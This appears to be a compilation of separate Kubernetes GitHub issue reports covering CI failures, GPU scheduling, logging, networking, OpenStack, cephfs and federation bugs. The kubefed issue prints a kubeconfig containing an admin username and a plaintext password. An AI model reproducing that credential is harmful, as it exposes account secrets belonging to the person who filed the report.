<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r https://github.com/kubernetes/kubernetes/pull/78248\r \r   which test s  are failing  :\r \r pull-kubernetes-kubemark-e2e-gce-big\r pull-kubernetes-integration \r \r   since when has it been failing  :\r \r 2019-05-27 19:00:00  +8\r \r   testgrid link  :\r \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/pull/78248/pull-kubernetes-kubemark-e2e-gce-big/1133003298240991232/\r \r   reason for failure  :\r \r  pull-kubernetes-kubemark-e2e-gce-big   timeout\r  pull-kubernetes-integration   stress test failed \r \r   anything else we need to know  :\r

the request here is basically to keep a collection of restclients around, one for each group/version.  this code should then be replaced; both the experimental-group client and the regular-group client should be gotten from this pool of clients. https://github.com/kubernetes/kubernetes/blob/bdfd469a85f734468525b5ab53e99034e7061e09/pkg/kubectl/cmd/util/factory.go l141

please let know if this design is ok for gpu in k8s or you need more details.      requirements:  gpu is important to lots of workloads, such as machine learning, video stream decoding/coding, etc... but kubernetes doesn't support schedule/tracking it which need to be.      design:  to support gpu in k8s, there's 2 capabilites need to be enabled,      1. monitoring.     1 . kubelet need to provide the gpu hardware information along with the cpu, memory information to the master.      2 . each gpu only have 2 status, in using or not in using. this is because so far gpu only exist in /sys/fs/cgroups/devices,          so 1 gpu is the smallest unit we can assign to container.  2. scheduler support.     1 . to schedule pods based on gpu, scheduler need to know the below information:         a. how many gpus and what types are they on each node.         b. what the status  in/not in using  of the gpus on each node.     2 . device mapping. once know which node have gpus could be used, need to map the right gpus to container, like the \ --device\  in docker. to mapping the gpu to         container, we may need to know below things.         a. the phsical devices, like /dev/nv0, /dev/nv1 ... this information should be provided by kubelet, kubelet on each node provides gpu information. and i think             we also need to provide more information to ensure the app in container could works fine with the assgined gpu, information like \ vendor id/device id,             subsystem_device/sybsystem_vendor\ .          yaml example:  apiversion: v1 kind: pod metadata:   name: my-nginx spec:   containers: - name: nginx   image: nginx   ports:   - containerport: 80     devices:       name: gpu       type: nvidia       number: 1     devices:     name: gpu     type: nvidia     number: 2

it is the second time this happens to me, after some time kibana stops showing new log messages from my pods:  ! image  https://cloud.githubusercontent.com/assets/285782/14854882/de15b712-0c67-11e6-9ab6-8e9d9bc51f7b.png   my pods continue to work normally and i can see the logs with logs -f. kube-system pods seems to be working well too:      felipejfc@mymac ~/dev/tfg/kubernetes-prod-cluster$ kubectl-prod get pods --namespace kube-system name                                                 ready     status    restarts   age elasticsearch-logging-v1-e5jj5                       1/1       running   0          6d elasticsearch-logging-v1-wkn9m                       1/1       running   0          6d fluentd-elasticsearch-ip-172-20-0-120.ec2.internal   1/1       running   0          12d fluentd-elasticsearch-ip-172-20-0-21.ec2.internal    1/1       running   0          10d fluentd-elasticsearch-ip-172-20-0-56.ec2.internal    1/1       running   0          12d fluentd-elasticsearch-ip-172-20-1-108.ec2.internal   1/1       running   0          12d fluentd-elasticsearch-ip-172-20-1-112.ec2.internal   1/1       running   0          10d fluentd-elasticsearch-ip-172-20-1-57.ec2.internal    1/1       running   0          12d heapster-v1.0.2-980111707-92myy                      4/4       running   0          12d kibana-logging-v1-zfljc                              1/1       running   2          12d kube-dns-v11-uzype                                   4/4       running   2          12d kube-proxy-ip-172-20-0-120.ec2.internal              1/1       running   0          12d kube-proxy-ip-172-20-0-21.ec2.internal               1/1       running   0          10d kube-proxy-ip-172-20-0-56.ec2.internal               1/1       running   0          12d kube-proxy-ip-172-20-1-108.ec2.internal              1/1       running   0          12d kube-proxy-ip-172-20-1-112.ec2.internal              1/1       running   0          10d kube-proxy-ip-172-20-1-57.ec2.internal               1/1       running   0          12d kubernetes-dashboard-v1.0.1-xmwq0                    1/1       running   1          12d monitoring-influxdb-grafana-v3-9v0vz                 2/2       running   0          6d       the first time this happened i deleted the elasticsearch pods and when new ones born they started to receive logging again...  any tip on how can i debug this?

discovery dns records for services take the form  mysvc.myns.svc.cluster.local.  with  svc  as the constant infix for services. we also want to make ingresses discoverable by publishing their dns records. pr  29768 already does that. it uses the infix constant  ing  to indicate that a record belongs to an ingress resource. we need to decide if  ing  is the appropriate constant for ingresses.  cc @kubernetes/sig-cluster-federation @matchstick

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2317/ failed:  k8s.io  apparmor  feature:apparmor  when running with apparmor should enforce a permissive profile {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/apparmor_test.go:74 test panicked /usr/local/go/src/runtime/panic.go:458       previous issues for this test:  30750

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ load-balancer ha\ , \ kubeapi-load-balancer\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r     \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2 lts\r -   kernel    e.g.  uname -a  : 4.4.0-66-generic\r -   install tools  : juju\r -   others  :\r \r \r   what happened  :\r \r i add 2nd kubeapi-load-balancer unit using \ juju add-unit kubeapi-load-balancer\  command. when it completed i shut down the original one. i wanted to achieve active/passive ha. i left it for around 10 minutes to give juju hooks time to run. then i tried:\r \r     kubectl get nodes\r \r but it failed with:\r \r     unable to connect to the server: dial tcp 10.25.61.27:443: getsockopt: no route to host\r \r   what you expected to happen  :\r \r i expected hooks to reconfigure things to point at alive api load balancer\r \r   how to reproduce it    as minimally and precisely as possible :\r \r in a juju deployed k8s environment:\r     \r juju add-unit kubeapi-load-balancer\r   wait for it to complete\r   manually shut down original kubeapi-load-balancer unit\r   wait for 10min to ensure hooks execute\r kubectl get nodes\r     \r \r   anything else we need to know  :\r \r

 \r   what happened  :\r double mac address for an ip address when using rktnetes + common  rkt  in systemd.\r \r   what you expected to happen  :\r rktnetes and rkt can work on the same host.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i asked to systemd to run a simple container before the kubelet:\r    \r rkt run --insecure-options=all --net='bond0:ip=172.20.0.2' enjoliver.local/debian:latest --exec dgr/bin/busybox -- httpd -fv\r    \r \r as we can see the correct order of the mounts:\r    \r nsfs on /run/netns/cni-e3dc9abb-4cfc-cadc-aa1c-ca8d2ee4791f type nsfs  rw \r tmpfs on /run/netns type tmpfs  rw,nosuid,nodev,seclabel,mode=755 \r nsfs on /run/netns/k8s_a822b7b1-5fdf-11e7-8260-525400ab2147 type nsfs  rw \r nsfs on /run/netns/k8s_a822b7b1-5fdf-11e7-8260-525400ab2147 type nsfs  rw \r nsfs on /run/netns/k8s_a8207c60-5fdf-11e7-8260-525400ab2147 type nsfs  rw \r nsfs on /run/netns/k8s_a8207c60-5fdf-11e7-8260-525400ab2147 type nsfs  rw \r    \r \r now i have 3 containers running with a cni macvlan configuration.\r    \r ip netns\r k8s_a822b7b1-5fdf-11e7-8260-525400ab2147\r k8s_a8207c60-5fdf-11e7-8260-525400ab2147\r cni-e3dc9abb-4cfc-cadc-aa1c-ca8d2ee4791f\r    \r \r and i cannot use the rkt-one:\r    \r ip netns exec cni-e3dc9abb-4cfc-cadc-aa1c-ca8d2ee4791f ip a\r setting the network namespace \ cni-e3dc9abb-4cfc-cadc-aa1c-ca8d2ee4791f\  failed: invalid argument\r    \r \r but it works for the 2 others:\r \r    \r ip netns exec k8s_a8207c60-5fdf-11e7-8260-525400ab2147 ip a\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host \r        valid_lft forever preferred_lft forever\r 2: eth0@if3: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state up group default \r     link/ether 0a:58:ac:14:43:01 brd ff:ff:ff:ff:ff:ff\r     inet 172.20.67.1/16 scope global eth0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::858:acff:fe14:4301/64 scope link \r        valid_lft forever preferred_lft forever\r    \r \r the application of the rkt container still works:\r    \r curl 172.20.0.2 -i \r http/1.0 404 not found\r    \r \r the previous  /run/netns/cni-e3dc9abb-4cfc-cadc-aa1c-ca8d2ee4791f  will be inaccessible for  rkt gc .\r the associated network resources un-garbage collected are a real problem in a macvlan configuration.\r the old mac stays and if a new rkt container starts over the same ip address, you'll have two macs for one ip address.\r \r    \r arping -i rack0 172.20.0.2\r arping 172.20.0.2 from 172.20.0.1 rack0\r unicast reply from 172.20.0.2  ce:6b:70:e3:cb:a9   1.061ms\r unicast reply from 172.20.0.2  96:68:9a:55:e5:4b   1.144ms\r    \r \r    \r ip netns\r cni-a4c0c2ab-358a-7c56-af6d-3bd3e078b1a5\r k8s_a822b7b1-5fdf-11e7-8260-525400ab2147\r k8s_a8207c60-5fdf-11e7-8260-525400ab2147\r cni-e3dc9abb-4cfc-cadc-aa1c-ca8d2ee4791f\r    \r \r    \r ip netns exec cni-a4c0c2ab-358a-7c56-af6d-3bd3e078b1a5 ip a\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host \r        valid_lft forever preferred_lft forever\r 2: eth0@if3: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state up group default \r     link/ether ce:6b:70:e3:cb:a9 brd ff:ff:ff:ff:ff:ff\r     inet 172.20.0.2/16 scope global eth0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::cc6b:70ff:fee3:cba9/64 scope link \r        valid_lft forever preferred_lft forever\r 4: eth1@if6: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state up group default \r     link/ether a2:a0:2a:83:d6:14 brd ff:ff:ff:ff:ff:ff\r     inet 172.31.0.2/16 scope global eth1\r        valid_lft forever preferred_lft forever\r     inet6 fe80::a0a0:2aff:fe83:d614/64 scope link \r        valid_lft forever preferred_lft forever\r    \r \r \r   anything else we need to know?  :\r \r with rktnetes when a kubelet starts pods with the  hostnetwork: false , it calls  ip netns add <uuid>  in the  runpod  /   setuppodnetwork   https://github.com/kubernetes/kubernetes/blob/d026286d39c43a7eb13030893a29d2b5446a0e04/pkg/kubelet/rkt/rkt.go l1318 \r \r the command  ip netns add ns-test-0  will mount  /run/netns  in addition.\r    sudo ip netns add ns-test-0 ; mount | grep netns \r tmpfs on /run/netns type tmpfs  rw,nosuid,noexec,relatime,size=1609316k,mode=755 \r nsfs on /run/netns/ns-test-0 type nsfs  rw \r nsfs on /run/netns/ns-test-0 type nsfs  rw \r    \r the problem appear if you want to use something who deals with netns but without mounting the  /run/netns  like  rkt  does today.\r \r if a rkt container is started    before   a kubernetes  hostnetwork: false  pod it becomes a problem.\r \r you can hack this by asking to systemd to mount a  /run/netns  tmpfs during the boot.\r \r i replaced  ip netns add <uuid>  by the following  code  https://github.com/julienbalestra/netns/blob/master/netns/ns.go  and it works but want to discuss about it before submitting a pr @yifan-gu @squeed \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r 1.6.6, 1.7.0 + master\r \r - cloud provider or hardware configuration  : \r baremetal and kvm\r \r - os  e.g. from /etc/os-release : \r container linux by coreos 1353.8.0  ladybug \r \r - kernel  e.g.  uname -a  : \r    \r linux cp-0-172-20-0-67 4.9.24-coreos  1 smp tue may 30 23:12:01 utc 2017 x86_64 intel core processor  broadwell  genuineintel gnu/linux\r    \r \r - install tools: \r  enjoliver  https://github.com/julienbalestra/enjoliver  \r \r

is this a bug report or feature request?  :\r   \r   what happened  :\r after starting controller manager, get the following panic:\r /----------------------------------\r i0712 08:54:30.845526       1 routecontroller.go:175  deleting route 10.245.1.0/24 10.245.1.0/24\r i0712 08:54:30.845548       1 routecontroller.go:146  creating route for node ab-6l35lzekrg-0-7igjn3vr43tw-kube-minion-abhezrwnqucq 10.245.1.0/24 with hint 4b63c6a0-655c-11e7-9a48-fa163e8338fb, throttled 1.602µs\r i0712 08:54:30.846090       1 routecontroller.go:146  creating route for node ab-hfvphu5tyl-0-623ksgxczeoh-kube-master-oevhfzd3xo7s 10.245.0.0/24 with hint 08eb2c36-655c-11e7-9a48-fa163e8338fb, throttled 651ns\r i0712 08:54:31.194807       1 routecontroller.go:154  created route for node ab-6l35lzekrg-0-7igjn3vr43tw-kube-minion-abhezrwnqucq 10.245.1.0/24 with hint 4b63c6a0-655c-11e7-9a48-fa163e8338fb after 349.278413ms\r i0712 08:54:32.429944       1 routecontroller.go:154  created route for node ab-hfvphu5tyl-0-623ksgxczeoh-kube-master-oevhfzd3xo7s 10.245.0.0/24 with hint 08eb2c36-655c-11e7-9a48-fa163e8338fb after 1.583805322s\r panic: runtime error: index out of range\r \r goroutine 1250  running :\r panic 0x3a3d4e0, 0xc42001a080 \r \t/usr/local/go/src/runtime/panic.go:500 +0x1a1\r k8s.io/kubernetes/pkg/cloudprovider/providers/openstack.  routes .deleteroute 0xc4212e15a0, 0x40ff60e, 0xa, 0xc421bf22a0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/openstack/openstack_routes.go:265 +0x7d5\r k8s.io/kubernetes/pkg/controller/route.  routecontroller .reconcile.func2 0xc4210bed70, 0xc421bf05e0, 0xc421bf22a0, 0xed0f7dac6, 0x3264f461, 0x6f143e0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/route/routecontroller.go:176 +0x15a\r created by k8s.io/kubernetes/pkg/controller/route.  routecontroller .reconcile\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/route/routecontroller.go:183 +0x6e6\r /----------------------------------\r \r   what you expected to happen  :\r successed to delete route.\r \r   how to reproduce it  as minimally and precisely as possible   :\r verytime\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc /sig-openstack

is this a bug report or feature request?  :\r  \r   what happened  :\r after deleting loadbalancer service, openstack cloud provider don't delete floatingip.\r \r   what you expected to happen  :\r after deleting loadbalancer service, openstack cloud provider delete floatingip.\r \r   anything else we need to know?  :\r if serviceannotationloadbalancerfloatingnetworkid is specified to 'x.x.x.x' and the 'floating-network-id' is empty, openstack cloud provider don't delete floatingip.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go l1119\r \r   environment  :\r - kubernetes version  use  kubectl version  :latest\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

@kubernetes/kubernetes-release-managers \r @kubernetes/sig-node-test-failures \r @ihmccreery ref https://github.com/kubernetes/kubernetes/issues/19027\r \r test is failing on gce slow and gci gce slow:\r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-slow\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-slow\r \r example failure\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow/8151 k8sio-pods-should-cap-back-off-at-maxcontainerbackoff-slow\r

what happened  :\r if a node is configured with separate imagefs for container storage, eviction thresholds should align with image gc high threshold.  image-gc high threshold is 85% and imagefs.available eviction should be < 15% to match.

right now, if you want to get a k8s type checked for api violations  right now only checking that the struct field name in  capitalcase  matches the json name in  camelcase  , you must register the api types for openapi generation with the  // +k8s:openapi-gen=true  tag in a  doc.go  file. for the use case of componentconfig types  ref: kubernetes/community 2354 , that aren't served by an api server, we don't need openapi generation per se, but want the api rules checking for tracking violations in a central place  with dedicated reviewers . should we somehow decouple these?\r \r cc @kubernetes/sig-api-machinery-misc @thockin @stewart-yu \r 

now that we are in the age of go modules i think it is't fair to make this work\r    \r go get -u github.com/kubernetes/kubernetes/cmd/kubectl\r    \r it does install but as soon as you run it you get\r    \r kubectl\r \r kubectl flag redefined: log_dir\r panic: kubectl flag redefined: log_dir\r \r goroutine 1  running :\r flag.  flagset .var 0xc000080180, 0x1c15080, 0xc00003a8b0, 0x1a0cad8, 0x7, 0x1a45267, 0x2f \r         /usr/local/go/src/flag/flag.go:805 +0x529\r flag.  flagset .stringvar 0xc000080180, 0xc00003a8b0, 0x1a0cad8, 0x7, 0x0, 0x0, 0x1a45267, 0x2f \r         /usr/local/go/src/flag/flag.go:708 +0x8a\r flag.  flagset .string 0xc000080180, 0x1a0cad8, 0x7, 0x0, 0x0, 0x1a45267, 0x2f, 0xc00003a8a0 \r         /usr/local/go/src/flag/flag.go:721 +0x8b\r flag.string 0x1a0cad8, 0x7, 0x0, 0x0, 0x1a45267, 0x2f, 0x17c7460 \r         /usr/local/go/src/flag/flag.go:728 +0x69\r    \r \r <!-- do not edit below this line -->\r  

what happened  :\r \r delete an object  service in this case  with a finalizer.  mutate the service.\r \r   what you expected to happen  :\r \r i expected an error.\r \r   anything else we need to know?  :\r \r it's debatable whether this should be a blanket ban on mutability.  status seems important to mutate.  metadata too, probably.  maybe it should be resource-by-resource?  e.g. chaning the  ports  or  type  of a service should not be allowed when being deleted.\r \r at the very minimum we should have guidance for resource implementors to follow on when to reject mutations and what error messages to deliver, or  if we think mutability is good  guidance that they must explicitly allow it.\r

during upgrade, the replication controllers of addons are stopped and then started. but they should be rolling updated.

os version：centos7\r kube version：1.2\r ceph version：0.94.9\r \r i am testing use cephfs as the background storage , i followed this guide：\r https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/cephfs/\r \r  it can work when i mount cephfs in command line directly, but when i use it with a yaml configuration, there are some problems.\r \r   here is my yaml config：\r \r apiversion: v1\r kind: pod\r metadata:\r   name: cephfs\r spec:\r   containers:\r   - name: cephfs-rw\r     image: kubernetes/pause\r     volumemounts:\r     - mountpath: \ /mnt/cephfs\ \r       name: cephfs\r   volumes:\r   - name: cephfs\r     cephfs:\r       monitors:\r       - 172.60.0.64:6789\r       user: admin\r       secretfile: \ /etc/ceph/admin.secret\ \r \r   kubectl describe pod cephfs\r \r name:\t\tcephfs\r namespace:\tdefault\r node:\t\tnode01.stg-k8s.com/172.50.0.44\r start time:\tmon, 26 dec 2016 13:30:53 +0800\r labels:\t\t<none>\r status:\t\tpending\r ip:\t\t\r controllers:\t<none>\r containers:\r   cephfs-rw:\r     container id:\t\r     image:\t\tkubernetes/pause\r     image id:\t\t\r     port:\t\t\r     qos tier:\r       cpu:\t\tbesteffort\r       memory:\t\tbesteffort\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     environment variables:\r conditions:\r   type\t\tstatus\r   ready \tfalse \r volumes:\r   cephfs:\r   <unknown>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   2m\t\t2m\t\t1\t{default-scheduler }\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned cephfs to node01.stg-k8s.com\r   2m\t\t9s\t\t13\t{kubelet node01.stg-k8s.com}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ cephfs_default 77cc3f4d-cb2c-11e6-bc8a-fa163e08d256 \ : cephfs: mount failed: mount failed: exit status 32\r mounting arguments: 172.60.0.64:6789:/ /var/lib/kubelet/pods/77cc3f4d-cb2c-11e6-bc8a-fa163e08d256/volumes/kubernetes.io~cephfs/cephfs ceph  name=admin,secretfile=/etc/ceph/admin.secret \r   output: mount: wrong fs type, bad option, bad superblock   on 172.60.0.64:6789:/,\r        missing codepage or helper program, or other error\r \r        in some cases useful info is found in syslog - try\r        dmesg | tail or so.\r \r \r   2m\t9s\t13\t{kubelet node01.stg-k8s.com}\t\twarning\tfailedsync\terror syncing pod, skipping: cephfs: mount failed: mount failed: exit status 32\r mounting arguments: 172.60.0.64:6789:/ /var/lib/kubelet/pods/77cc3f4d-cb2c-11e6-bc8a-fa163e08d256/volumes/kubernetes.io~cephfs/cephfs ceph  name=admin,secretfile=/etc/ceph/admin.secret \r output: mount: wrong fs type, bad option, bad superblock on 172.60.0.64:6789:/,\r        missing codepage or helper program, or other error\r \r        in some cases useful info is found in syslog - try\r        dmesg | tail or so.\r \r   dmesg | tail\r  435691.977001  xfs  dm-1 : mounting v4 filesystem\r  435692.002547  xfs  dm-1 : ending clean mount\r  1562106.073276  xfs  dm-1 : mounting v4 filesystem\r  1562106.102422  xfs  dm-1 : ending clean mount\r  1562106.259007  xfs  dm-1 : mounting v4 filesystem\r \r   docker info\r containers: 0\r  running: 0\r  paused: 0\r  stopped: 0\r images: 2\r server version: 1.10.3\r storage driver: devicemapper\r  pool name: docker-253:1-33796071-pool\r  pool blocksize: 65.54 kb\r  base device size: 10.74 gb\r  backing filesystem: xfs\r  data file: /dev/loop0\r  metadata file: /dev/loop1\r  data space used: 284.6 mb\r  data space total: 107.4 gb\r  data space available: 1.34 gb\r  metadata space used: 716.8 kb\r  metadata space total: 2.147 gb\r  metadata space available: 1.34 gb\r  udev sync supported: true\r  deferred removal enabled: false\r  deferred deletion enabled: false\r  deferred deleted device count: 0\r  data loop file: /var/lib/docker/devicemapper/devicemapper/data\r  warning: usage of loopback devices is strongly discouraged for production use. either use  --storage-opt dm.thinpooldev  or use  --storage-opt dm.no_warn_on_loop_devices=true  to suppress this warning.\r  metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata\r  library version: 1.02.107-rhel7  2016-06-09 \r

kubernetes version    use  kubectl version  :\r v1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : virtaulbox vm in my notepc.\r -   os    e.g. from /etc/os-release : ubuntu 14.04.5 lts\r -   kernel    e.g.  uname -a  : 3.13.0-101-generic\r -   install tools  : kube-up.sh\r -   others  :\r \r \r   what happened  :\r  kubefed init  is no response.\r    \r root@vagrant-ubuntu-trusty-64:~  kubefed version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@vagrant-ubuntu-trusty-64:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@vagrant-ubuntu-trusty-64:~  cat .kube/config\r apiversion: v1\r clusters:\r - cluster:\r     insecure-skip-tls-verify: true\r     server: http://172.28.128.31:8080\r   name: cluster0\r contexts:\r - context:\r     cluster: cluster0\r     user: ubuntu\r   name: cluster0\r current-context: cluster0\r kind: config\r preferences: {}\r users:\r - name: ubuntu\r   user:\r     password: snwdodxhtwqgzwng\r     username: admin\r root@vagrant-ubuntu-trusty-64:~  kubectl config get-contexts\r current   name       cluster    authinfo   namespace\r           cluster0   cluster0   ubuntu\r root@vagrant-ubuntu-trusty-64:~  kubectl get po --all-namespaces\r namespace     name                                    ready     status    restarts   age\r kube-system   kube-dns-4101612645-8wj8s               4/4       running   0          6h\r kube-system   kubernetes-dashboard-3543765157-wzd8s   1/1       running   0          6h\r root@vagrant-ubuntu-trusty-64:~  kubefed init fellowship --host-cluster-context=cluster0\r    \r => no response and logging about over 10 minutes..\r => after  ctrl-c  that status, i found only \ federation-system\  namespace and \r \ fellowship-apiserver\  service.\r \r   what you expected to happen  :\r installation of federation control plane\r \r   how to reproduce it    as minimally and precisely as possible :\r same above\r \r   anything else do we need to know  :\r \r

hi,\r \r for test the cri feature, we added the  --feature-gates=streamingproxyredirects=true  flag in apiserver and the  --experimental-cri=true  flag in kubelet. \r but got the errors of pull the image:  gcr.io/google_containers/pause-amd64:3.0 .\r the image did exists in my node, so why still to execute  pull image  action? why not detect the status of the image first before the pull?  code here  https://github.com/kubernetes/kubernetes/blob/release-1.5/pkg/kubelet/dockershim/docker_sandbox.go l62  or something else i missed?\r \r    \r root@slave2:~  docker images | grep pause\r gcr.io/google_containers/pause-amd64                  3.0                                99e59f495ffa        9 months ago        746.9 kb\r root@slave2:~  kubectl get pods\r name      ready     status              restarts   age\r nginx     0/1       containercreating   0          1h\r    \r errors:\r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   1h\t\t56s\t\t69\t{kubelet 9.186.50.250}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ createpodsandbox\  for \ nginx_default 5192e527-fa5f-11e6-bf58-002186f14711 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ nginx_default 5192e527-fa5f-11e6-bf58-002186f14711 \\\  failed: rpc error: code = 2 desc = unable to pull image for the sandbox container: error response from daemon: {\\\ message\\\ :\\\ get https://gcr.io/v1/_ping: dial tcp 74.125.68.82:443: i/o timeout\\\ }\ \r \r   1h\t42s\t70\t{kubelet 9.186.50.250}\t\tnormal\tsandboxreceived\tpod sandbox received, it will be created.\r    \r

is this a bug report or feature request?  :\r  \r   what happened  :\r start kubelet with  --enforce-node-allocatable=pods,kube-reserved,system-reserved  and without  --system-reserved \r e.g.\r /usr/bin/kubelet --v=9 --address=0.0.0.0 --hostname-override=10.114.51.205 --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --pod-manift-path=/etc/kubernetes/manifests --log-dir=/root/info/logs/k8s --fail-swap-on=false --cluster-dns=10.254.0.10 --cluster-domain=cluster.local --logtostderr=false --allow-privileged=true --kube-reserved=cpu=500m,memory=500mi --image-gc-low-threshold=80 --image-gc-high-threshold=90 --kube-reserved-cgroup=/kubelet.service --system-reserved-cgroup=/system.slice --enforce-node-allocatable=pods,kube-reserved,system-reserved --cgroups-per-qos=true \r \r the node is ready, but log complaints: \r  e0607 16:05:02.971107 25854 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference   \r \r and the eviction_manager didn't start. \r \r   what you expected to happen  :\r the log don't complaint errors and eviction_manager start successfully. \r \r   how to reproduce it  as minimally and precisely as possible   :\r start kubelet with  --enforce-node-allocatable=pods,kube-reserved,system-reserved  and without  --system-reserved \r \r   anything else we need to know?  :\r none\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r    \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r pull-kubernetes-integration always fails\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/68403/pull-kubernetes-integration/30058/\r \r https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-integration\r \r \r   what you expected to happen  :\r pull-kubernetes-integration always happy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

